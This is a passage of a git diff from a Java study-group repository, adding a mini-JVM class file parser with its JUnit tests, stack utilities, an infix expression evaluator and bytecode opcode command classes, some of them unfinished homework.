+	static String path1 = "/Users/erlisuo/Documents/workspace/codeRising2017working/1282579502/bin";
+	static String path3 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static ClassFileLoader loader = null;
+	static {
+		loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		//clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+ 
+
+    
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+   
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest2.java b/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest2.java
new file mode 100644
index 0000000000..a0e42c0f0e
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest2.java
@@ -0,0 +1,52 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest2 {
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	static String path1 = "/Users/erlisuo/Documents/workspace/codeRising2017working/1282579502/bin";
+	static String path3 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static ClassFileLoader loader = null;
+	static {
+		loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		//clzFile.print();
+	}
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/util/Util.java b/group17/1282579502/src/com/coderising/jvm/util/Util.java
new file mode 100755
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group17/1282579502/src/com/coding/basic/stack/Stack.java b/group17/1282579502/src/com/coding/basic/stack/Stack.java
new file mode 100755
index 0000000000..55b7cb5ac5
--- /dev/null
+++ b/group17/1282579502/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,24 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group17/1282579502/src/com/coding/basic/stack/StackUtil.java b/group17/1282579502/src/com/coding/basic/stack/StackUtil.java
new file mode 100755
index 0000000000..7d0d1d9a9b
--- /dev/null
+++ b/group17/1282579502/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,109 @@
+package com.coding.basic.stack;
+
+import java.util.Objects;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(s == null) return;
+		Stack newStack = new Stack();
+		while(!s.isEmpty()){
+			newStack.push(s.pop());
+		}
+		s = newStack;
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null || o == null) return;
+		Stack newStack = new Stack();
+		while(!s.isEmpty()){
+			Object tmp = s.pop();
+			if( Objects.equals(o, tmp) ){
+				break;
+			}
+			newStack.push(tmp);
+		}
+		while(!newStack.isEmpty()){
+			s.push(newStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		return null;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		if(s == null) return false;
+		
+		Stack bracketStack = new Stack();
+		int i = 0;
+		while(i<s.length()){
+			if(s.charAt(i) == '('){
+				bracketStack.push('(');
+			}
+			else if(s.charAt(i) == ')'){
+				if((char)bracketStack.peek() == '('){
+					bracketStack.pop();
+				}
+				else{
+					return false;
+				}
+			}
+			else if(s.charAt(i) == '['){
+				bracketStack.push('[');
+			}
+			else if(s.charAt(i) == ']'){
+				if((char)bracketStack.peek() == ']'){
+					bracketStack.pop();
+				}
+				else{
+					return false;
+				}
+			}
+			else if(s.charAt(i) == '{'){
+				bracketStack.push('{');
+			}
+			else if(s.charAt(i) == '}'){
+				if((char)bracketStack.peek() == '}'){
+					bracketStack.pop();
+				}
+				else{
+					return false;
+				}
+			}
+			else {
+				
+			}
+			i++;
+		}
+		if(bracketStack.isEmpty()){
+			return true;
+		}
+		return false;
+	}
+	
+	
+}
diff --git a/group17/1282579502/src/com/coding/basic/stack/expr/InfixExpr.java b/group17/1282579502/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..2d70a2ec02
--- /dev/null
+++ b/group17/1282579502/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,184 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Stack;
+
+import javafx.util.converter.NumberStringConverter;
+
+public class InfixExpr {
+	String expr = null;
+	Map<Character, Integer> priorityMap = null;
+	List<String> exprTokens = null;
+	public InfixExpr(String expr) {
+		priorityMap = new HashMap<Character, Integer>();
+		init();
+		this.expr = expr;
+		exprTokens = parse();
+	}
+	
+	public void init(){
+		priorityMap.put('+', 0);
+		priorityMap.put('-', 0);
+		priorityMap.put('*', 1);
+		priorityMap.put('/', 1);
+	}
+
+	public float evaluate() {		
+		Stack<Character> operatorStack = new Stack<>();
+		Stack<Float> operandStack = new Stack<>();
+		
+		Float operandOne, operandTwo;
+		
+		int index = 0;
+		
+		while(index < exprTokens.size()){
+			String cc = exprTokens.get(index);
+			try{
+				if(isFloat(cc)){
+					System.out.println("push operand: " + cc);
+					operandStack.push(Float.parseFloat(cc));
+					System.out.println("peek: " + operandStack.peek());
+					
+				}
+				else if(priorityMap.get(cc.charAt(0)) != null){
+					char c = cc.charAt(0);
+					if(operatorStack.isEmpty()){
+						System.out.println("push operator: " + cc);
+						operatorStack.push(c);
+					}
+					else{
+						int preOperatorPriority = getPriority(operatorStack.peek());
+						int curOperatorPriority = getPriority(c);
+						if(curOperatorPriority <= preOperatorPriority){
+							//do precalculation first
+							operandTwo = operandStack.pop();
+							operandOne = operandStack.pop();
+							char operator = operatorStack.pop();
+							float result = doCalculation(operandOne, operandTwo, operator);
+							
+							operandStack.push(result);
+							operatorStack.push(c);
+						}
+						else{
+							System.out.println("push operator: " + cc);
+							operatorStack.push(c);
+						}
+					}
+				}
+				else{
+					throw new Exception("Unsupported character: " + cc);
+				}
+			}
+			catch(Exception e){
+				e.printStackTrace();
+			}
+			index ++;
+		}
+		System.out.println("dumpping operator stack:");
+		dumpStack(operatorStack);
+		System.out.println("dumpping operand stack:");
+		dumpStack(operandStack);
+		try{
+			while(!operatorStack.isEmpty()){
+				operandTwo = operandStack.pop();
+				operandOne = operandStack.pop();
+				char operator = operatorStack.pop();
+				float result = doCalculation(operandOne, operandTwo, operator);
+				
+				operandStack.push(result);
+			}
+		}catch(Exception e){
+			e.printStackTrace();
+		}
+		
+		if(operandStack.size() > 1){
+			System.err.println("More than one result reminded in operands stack.");
+		}
+		return operandStack.pop();
+	}
+	
+	private float doCalculation(float operandOne, float operandTwo, char operator) throws Exception{
+		System.out.println("operand 1: " + operandOne + " operand 2: " + operandTwo + " operator: " + operator);
+		float result = 0f;
+		if(operator == '+'){
+			result = operandOne + operandTwo;
+		}
+		else if(operator == '-'){
+			result =  operandOne - operandTwo;
+		}
+		else if(operator == '*'){
+			result =  operandOne * operandTwo;
+		}
+		else if(operator == '/'){
+			result =  operandOne / operandTwo;
+		}
+		else{
+			throw new Exception("Unsupported operator");
+		}
+		System.out.println("result: " + result);
+		return result;
+	}
+	
+	private int getPriority(Character c){
+		return priorityMap.get(c);
+	}
+	
+	private boolean isFloat(String v){
+		try{
+			Float.parseFloat(v);
+			return true;
+		}
+		catch(Exception e){
+			return false;
+		}
+	}
+
+	private List<String> parse(){
+		List<String> vals = new ArrayList<>();
+		int p1 = 0;
+		int p2 = 1;
+		while(p2<expr.length()){
+			char c1 = expr.charAt(p1);
+			char c2 = expr.charAt(p2);
+			if(! Character.isDigit(c2)){
+				//current is operator
+				vals.add(expr.substring(p1,p2));
+				vals.add(String.valueOf(c2));
+			
+				p2++;
+				p1 = p2;
+				
+			}
+			else{
+				p2++;
+			}
+		}
+		
+		if(p1<expr.length()){
+			//System.out.println("p1 = " + p1 + " char = " + expr.charAt(p1));
+			vals.add(expr.substring(p1));
+		}
+		dumpArray(vals);
+		return vals;
+	}
+	
+	private void dumpArray(List<String> l){
+		for(int i =0; i<l.size(); i++){
+			System.out.print(l.get(i) + " ");
+		}
+		System.out.println();
+	}
+	
+	private void dumpStack(Stack s){
+		Iterator itr = s.iterator();
+		while(itr.hasNext()){
+			System.out.print(itr.next()+" ");
+		}
+		System.out.println();
+	}
+	
+}
diff --git a/group17/1282579502/src/com/coding/basic/stack/expr/InfixExprTest.java b/group17/1282579502/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..d468465974
--- /dev/null
+++ b/group17/1282579502/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,60 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		
+		
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		
+	
+		{
+			InfixExpr expr = new InfixExpr("2+5");
+			Assert.assertEquals(7.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			System.out.println();
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+			System.out.println();
+		}
+		
+		{	
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group17/785396327/2.26/list/ArrayList.java b/group17/785396327/2.26/list/ArrayList.java
index 119079f7ce..dcdc1264b0 100644
--- a/group17/785396327/2.26/list/ArrayList.java
+++ b/group17/785396327/2.26/list/ArrayList.java
@@ -1,5 +1,7 @@
 package list;
 
+import org.junit.Test;
+
 import java.util.Arrays;
 import java.util.NoSuchElementException;
 
@@ -34,12 +36,12 @@ public boolean add(T ele) {
     }
 
     public T get(int index) {
-        checkBounds(index);
+        checkBounds(index, false);
         return (T) elementData[index];
     }
 
     public T remove(int index) {
-        checkBounds(index);
+        checkBounds(index, false);
         T removeEle = (T) elementData[index];
         System.arraycopy(elementData, index + 1, elementData, index, size - index);
         size--;
@@ -47,7 +49,7 @@ public T remove(int index) {
     }
 
     public boolean add(int index, T ele) {
-        checkBounds(index);
+        checkBounds(index, true);
         grow(size++);
         //将原本数组从待插入的index截取，将原本index后的有效值，复制到原本数组index+1之后
         System.arraycopy(elementData, index, elementData, index + 1, size - index);
@@ -65,8 +67,10 @@ public boolean remove(T ele) {
         return true;
     }
 
-    private void checkBounds(int index) {
-        if (index < 0 || index >= size)
+    private void checkBounds(int index, boolean isAdd) {
+        if (isAdd && (index < 0 || index > size)) {
+            throw new IndexOutOfBoundsException("index : " + index + ", size : [ 0 - " + size + " ]");
+        } else if (!isAdd && (index < 0 || index >= size))
             throw new IndexOutOfBoundsException("index : " + index + ", size : [ 0 - " + size + " ]");
     }
 
diff --git a/group17/785396327/3.26/jvm_1/ClassFileLoader.java b/group17/785396327/3.26/jvm_1/ClassFileLoader.java
index 95f68a5a7f..66f209f161 100644
--- a/group17/785396327/3.26/jvm_1/ClassFileLoader.java
+++ b/group17/785396327/3.26/jvm_1/ClassFileLoader.java
@@ -1,5 +1,8 @@
 package jvm_1;
 
+import clz.ClassFile;
+import parse.ClassFilePaser;
+
 import java.io.*;
 import java.util.ArrayList;
 import java.util.List;
@@ -47,4 +50,10 @@ public String getClassPath() {
         }
         return sb.substring(0, sb.length() - 1);
     }
+
+    public ClassFile loadClass(String className) {
+        byte[] bytes = readBinaryCode(className);
+        ClassFilePaser classFilePaser = new ClassFilePaser();
+        return classFilePaser.parse(bytes);
+    }
 }
diff --git a/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java b/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java
index 067cd93c2b..5a298da661 100644
--- a/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java
+++ b/group17/785396327/3.26/jvm_1/ClassFileloaderTest.java
@@ -9,7 +9,7 @@
  * Created by william on 2017/4/5.
  */
 public class ClassFileloaderTest {
-    static String path1 = "D:\\workspace\\IDEA\\homework\\coding2017\\group17\\785396327\\out\\production\\785396327";
+    static String path1 = "G:\\Git\\homework\\coding2017\\group17\\785396327\\3.12\\out\\production\\785396327";
     static String path2 = "C:\temp";
 
 
diff --git a/group17/785396327/4.16/cmd/BiPushCmd.java b/group17/785396327/4.16/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..79da192e67
--- /dev/null
+++ b/group17/785396327/4.16/cmd/BiPushCmd.java
@@ -0,0 +1,29 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantPool;
+import engine.ExecutionResult;
+import engine.FrameResult;
+import engine.StackFrame;
+
+/**
+ * Created by william on 2017/4/17.
+ */
+public class BiPushCmd extends OneOperandCmd {
+    public BiPushCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return this.getOffset() + ": " + this.getOpCode() + " " + this.getReadableCodeText() + " " + this.getOperand();
+    }
+
+    @Override
+    public void execute(StackFrame frame, FrameResult result) {
+
+    }
+
+}
diff --git a/group17/785396327/4.16/cmd/ByteCodeCommand.java b/group17/785396327/4.16/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..66abdd0865
--- /dev/null
+++ b/group17/785396327/4.16/cmd/ByteCodeCommand.java
@@ -0,0 +1,131 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ConstantInfo;
+import constant.ConstantPool;
+import engine.FrameResult;
+import engine.StackFrame;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by william on 2017/4/17.
+ */
+public abstract class ByteCodeCommand {
+    String opCode;
+    ClassFile clzFile;
+    private int offset;
+
+    private static Map<String,String> codeMap = new HashMap<String,String>();
+
+    static{
+        codeMap.put("01", "aconst_null");
+
+        codeMap.put("BB", "new");
+        codeMap.put("37", "lstore");
+        codeMap.put("B7", "invokespecial");
+        codeMap.put("B6", "invokevirtual");
+        codeMap.put("B4", "getfield");
+        codeMap.put("B5", "putfield");
+        codeMap.put("B2", "getstatic");
+
+        codeMap.put("2A", "aload_0");
+        codeMap.put("2B", "aload_1");
+        codeMap.put("2C", "aload_2");
+
+        codeMap.put("10", "bipush");
+        codeMap.put("15", "iload");
+        codeMap.put("1A", "iload_0");
+        codeMap.put("1B", "iload_1");
+        codeMap.put("1C", "iload_2");
+        codeMap.put("1D", "iload_3");
+
+        codeMap.put("25", "fload_3");
+
+        codeMap.put("1E", "lload_0");
+
+        codeMap.put("24", "fload_2");
+        codeMap.put("4C", "astore_1");
+
+        codeMap.put("A2", "if_icmp_ge");
+        codeMap.put("A4", "if_icmple");
+
+        codeMap.put("A7", "goto");
+
+        codeMap.put("B1", "return");
+        codeMap.put("AC", "ireturn");
+        codeMap.put("AE", "freturn");
+
+        codeMap.put("03", "iconst_0");
+        codeMap.put("04", "iconst_1");
+
+        codeMap.put("3C", "istore_1");
+        codeMap.put("3D", "istore_2");
+
+        codeMap.put("59", "dup");
+
+        codeMap.put("60", "iadd");
+        codeMap.put("84", "iinc");
+
+        codeMap.put("12", "ldc");
+    }
+
+
+
+
+
+    protected ByteCodeCommand(ClassFile clzFile, String opCode){
+        this.clzFile = clzFile;
+        this.opCode = opCode;
+    }
+
+    protected ClassFile getClassFile() {
+        return clzFile;
+    }
+
+    public int getOffset() {
+        return offset;
+    }
+
+    public void setOffset(int offset) {
+        this.offset = offset;
+    }
+    protected ConstantInfo getConstantInfo(int index){
+        return this.getClassFile().getConstantPool().getConstantInfo(index);
+    }
+
+    protected ConstantPool getConstantPool(){
+        return this.getClassFile().getConstantPool();
+    }
+
+
+
+    public String getOpCode() {
+        return opCode;
+    }
+
+    public abstract int getLength();
+
+
+
+
+    public String toString(){
+
+        StringBuffer buffer = new StringBuffer();
+        buffer.append(this.opCode);
+
+        return buffer.toString();
+    }
+    public abstract String toString(ConstantPool pool);
+
+    public String getReadableCodeText(){
+        String txt = codeMap.get(opCode);
+        if(txt == null){
+            return opCode;
+        }
+        return txt;
+    }
+
+    public abstract void execute(StackFrame frame, FrameResult result);
+}
diff --git a/group17/785396327/4.16/cmd/CommandParser.java b/group17/785396327/4.16/cmd/CommandParser.java
new file mode 100644
index 0000000000..02d06cd275
--- /dev/null
+++ b/group17/785396327/4.16/cmd/CommandParser.java
@@ -0,0 +1,214 @@
+package cmd;
+
+import clz.ClassFile;
+import constant.ClassInfo;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by william on 2017/4/17.
+ */
+public class CommandParser {
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+        CommandIterator commandIterator = new CommandIterator(codes);
+        List<ByteCodeCommand> commandList = new ArrayList<ByteCodeCommand>();
+        while (commandIterator.hasNext()) {
+            String command = commandIterator.next2CharAsString().toUpperCase();
+            if (command.equals(aconst_null)) {
+                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, command);
+                noOperandCmd.setOffset(noOperandCmd.getLength());
+                commandList.add(noOperandCmd);
+            } else if (command.equals(new_object)) {
+                NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, command);
+                newObjectCmd.setOprand1(commandIterator.next2CharAsInt());
+                newObjectCmd.setOprand2(commandIterator.next2CharAsInt());
+                newObjectCmd.setOffset(newObjectCmd.getLength());
+                commandList.add(newObjectCmd);
+            } else if (command.equals(lstore)) {
+
+            } else if (command.equals(invokespecial)) {
+                InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, command);
+                invokeSpecialCmd.setOprand1(commandIterator.next2CharAsInt());
+                invokeSpecialCmd.setOprand2(commandIterator.next2CharAsInt());
+                invokeSpecialCmd.setOffset(invokeSpecialCmd.getLength());
+                commandList.add(invokeSpecialCmd);
+            } else if (command.equals(invokevirtual)) {
+                InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, command);
+                invokeVirtualCmd.setOprand1(commandIterator.next2CharAsInt());
+                invokeVirtualCmd.setOprand2(commandIterator.next2CharAsInt());
+                invokeVirtualCmd.setOffset(invokeVirtualCmd.getLength());
+                commandList.add(invokeVirtualCmd);
+            } else if (command.equals(getfield)) {
+                GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, command);
+                getFieldCmd.setOprand1(commandIterator.next2CharAsInt());
+                getFieldCmd.setOprand2(commandIterator.next2CharAsInt());
+                getFieldCmd.setOffset(getFieldCmd.getLength());
+                commandList.add(getFieldCmd);
+            } else if (command.equals(putfield)) {
+                PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, command);
+                putFieldCmd.setOprand1(commandIterator.next2CharAsInt());
+                putFieldCmd.setOprand2(commandIterator.next2CharAsInt());
+                putFieldCmd.setOffset(putFieldCmd.getLength());
